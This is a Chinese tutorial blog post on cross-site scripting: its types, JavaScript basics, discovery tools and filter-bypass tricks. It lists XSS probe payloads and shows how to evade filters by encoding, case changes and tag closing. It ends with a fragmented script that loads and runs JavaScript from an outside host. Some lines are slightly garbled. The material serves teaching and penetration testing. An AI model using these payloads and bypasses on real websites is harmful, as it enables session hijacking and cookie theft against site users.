XSS跨站漏洞詳解
01-29
認識XSS:XSS(cross-site script)跨站腳本自1996年誕生以來,一直被OWASP(open web application security project) 評為十大安全漏洞中的第二威脅漏洞。也有黑客把xss當做新型的「緩衝區溢出攻擊」,而JavaScript是新型的shellcode。2011年6月份,國內最火的信息發布平台「新浪微博」爆發了xss蠕蟲攻擊,僅持續16分鐘,感染用戶近33000個,危害十分嚴重。xss最大的特點就是能注入惡意的代碼到用戶瀏覽器的網頁上,從而達到劫持用戶會話的目的。
推薦閱讀:
什麼是跨站腳本:
是一種經常出現在web應用程序中的計算機安全漏洞,是由於web應用程序對用戶的輸入過濾不嚴而產生的。攻擊者利用網站漏洞把惡意的腳本代碼注入到網頁中,當其他用戶瀏覽這些網頁時,就會執行其中的惡意代碼,對受害用戶可能採用cookie資料竊取,會話劫持,釣魚欺騙等攻擊手段
XSS腳本實例:<html>
<head>xss test</head><body><script>alert("xss")</script></body></html>這段代碼使用alert函數來執行打開一個消息框,消息框中顯示xss信息使用xss彈出惡意警告框,代碼為:
<script>alert("xss")</script>xss輸入也可能是html代碼段,如果使網頁不停的刷新,代碼為<meta http-equiv="refresh" content="0;">嵌入其他網站鏈接的代碼為:<iframe src=http:/liuwx.cn width_=0 height=0></iframe>XSS的危害:1網路釣魚,包括盜取各類的用戶賬號2竊取用戶cookie竊取用戶瀏覽請回話強制彈出廣告頁面、刷流量
網頁掛馬提升用戶許可權,進一步滲透網站傳播跨站腳本蠕蟲等Javascript基礎知識:JavaScript一種直譯式腳本語言,是一種動態類型、弱類型、基於原型的語言,內置支持類型。它的解釋器被稱為JavaScript引擎,為瀏覽器的一部分,廣泛用於客戶端的腳本語言,最早是在HTML(標準通用標記語言下的一個應用)網頁上使用,用來給HTML網頁增加動態功能。在1995年時,由Netscape公司的Brendan Eich,在網景導航者瀏覽器上首次設計實現而成。因為Netscape與Sun合作,Netscape管理層希望它外觀看起來像Java,因此取名為JavaScript。但實際上它的語法風格與Self及Scheme較為接近。為了取得技術優勢,微軟推出了JScript,CEnvi推出ScriptEase,與JavaScript同樣可在瀏覽器上運行。為了統一規格,因為JavaScript兼容於ECMA標準,因此也稱為ECMAScript。document對象:document是一個對象,從JS一開始就存在的一個對象,它代表當前的頁面(文檔)。
我們調用它的write()方法就能夠向該對象中寫入內容既:document.write()可以在html引用外部js代碼<script src=x.js ></script>js代碼中寫入document.write(「hello cracer」);JavaScript變數:定義變數:var 變數名;var x;
var a=1;var b=」hello cracer」;var c=True;var d=a+10;JavaScript流程式控制制:if -else控制語句var a=20;var b=10;if(a>b){alert(「a=20」);
}else{alert(「b=10」);}switch控制語句:var x=10switch(x){case 2:alert(1);break;case 10:
alert(10);break;}for循環:
<script>for (var i=0;i<100;i++){alert(1);}</script>
while循環:<script>
var a=0;while(a<100){alert(1);a++;}javascript函數:
function x(a,b){var c= a+b;return c;}var xx =x(1,2);conseole.log(xx);javascript 事件:onclick屬性 點擊事件function x(){alert(/xss/)}<h1 onclick=」x()」>hello</h1>事件:XSS分類:反射型XSSDOM型xss存儲型XSS反射型XSS:反射型跨站腳本也稱作非持久型、參數型跨站腳本、這類型的腳本是最常見的 ,也是使用最為廣泛的一種,主要用於將惡意的腳本附加到URL地址的參數中例如http://www.liuwx.cn/search.php?key=">一般使用的將構造好的URL發給受害者,是受害者點擊觸發,而且只執行一次,非持久化。DOM型XSS存儲型XSS:存儲型xss比反射型跨站腳本更具威脅性,並且可能影響到web伺服器的自身安全。此類XSS不需要用戶點擊特定的URL就能執行跨站腳本,攻擊者事先講惡意JavaScript代碼上傳或存儲到漏洞伺服器中,只要受害者瀏覽包含此惡意的代碼的頁面就會執行惡意代碼。火狐中常用的XSS調試插件:HackbarFirebugTamper DataLive HTTP HeadersEditor CookieXSS漏洞挖掘:挖掘方法:手工挖掘工具挖掘手工挖掘XSS漏洞:我們得到一個站點http://www.liuwx.cn/xss.php?id=1攻擊者會這樣進行XSS 測試,將如下payloads 分別添加到id=1:可以測試用戶輸入地方、文件上傳地方、flash等閉合標籤<script>alert(1)</script>"><script>alert(1)</script><img/src=@ onerror=alert(1)/>"><img/src=@ onerror=alert(1)/>手工挖掘xss漏洞: onmouseover=alert(1) x=" onmouseover=alert(1) x="` onmouseover=alert(1) x=`javascript:alert(1)//data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==";alert(1)//</script><script>alert(1)//}x:expression(alert(1))alert(1)//*/-->"></iframe></script></style></title></textarea></xmp></noscript></noframes></plaintext><script>alert(1)</script>工具挖掘XSS漏洞:awvsnetsparkeappscanburpxsserxsscrapybrutexssrOWASP Xenotix常見的防xss代碼:$x=preg_replace(「/script/」,」」,$x);$x=preg_replace(「/script/i」,」」,$x);$x=preg_replace(「/alert/i」,」」,$x);$x=preg_replace(「/script/i」,」」,$x);XSS繞過限制:相信大家在做滲透測試的時候都有過這樣的經歷,明明一個XSS的漏洞,但是卻有XSS過濾規則或者WAF保護導致我們不能成功利用,比如我們輸入<scirpt>alert("hi")</script>,會被轉換為<script>alert(>xss detected<)</script>,這樣的話我們的XSS就不生效了。幾種簡單的繞過XSS的方法:1、繞過 magic_quotes_gpc 2、編碼 複雜的關鍵字過濾3、改變大小寫 簡單的關鍵字過濾4、關閉標籤<script>alert(xss);</script>繞過 magic_quotes_gpc:magic_quotes_gpc=ON是php中的安全設置,開啟後會把一些特殊字元進行輪換,比如(單引號)轉換為,"(雙引號)轉換為" ,轉換為比如:<script>alert("xss");</script>會轉換為<script>alert("xss");</script>,這樣我們的xss就不生效了。針對開啟了magic_quotes_gpc的網站,我們可以通過javascript中的String.fromCharCode方法來繞過,我們可以把alert("XSS");轉換為String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41)那麼我們的XSS語句就變成了<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41, 59)</script> String.fromCharCode()是javascript中的字元串方法,用來把ASCII轉換為字元串。編碼:我們可以對我們的語句進行hex編碼來繞過XSS規則。比如:<script>alert("xss");</script> 可以轉換為:%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%78%73%73%22%29%3b%3c%2f%73%63%72%69%70%74%3e在線工具:http://textmechanic.com/ASCII-Hex-Unicode-Base64-Converter.htmlFree text conversion tools<>== img src=1 onerror=alert(/xss/)><script> var s = " >"; alert(s); </script>改變大小寫:在測試過程中,我們可以改變測試語句的大小寫來繞過XSS規則比如:<script>alert("xss");</script> 可以轉換為:<ScRipt>ALeRt("XSS");</sCRipT>閉合標籤:有時我們需要關閉標籤來使我們的XSS生效,如:"><script>alert("Hi");</script>解決限制字元(要求同頁面):
<script>z=document.</script>
<script>z=z+write("</script><script>z=z+<script</script><script>z=z+ src=ht</script><script>z=z+tp://ww</script><script>z=z+w.shell</script><script>z=z+.net/1.</script><script>z=z+js></sc</script><script>z=z+ript>")</script><script>eval_r(z)</script>文章來源:XSS跨站漏洞詳解推薦閱讀:
※如何構建自己的滲透測試環境
※酷站推薦 - metasploit.com - Metasploit | penetration testing framework
※phpcms_authkey泄露注入
※《back track 5:從入門到精通》 入門筆記 之一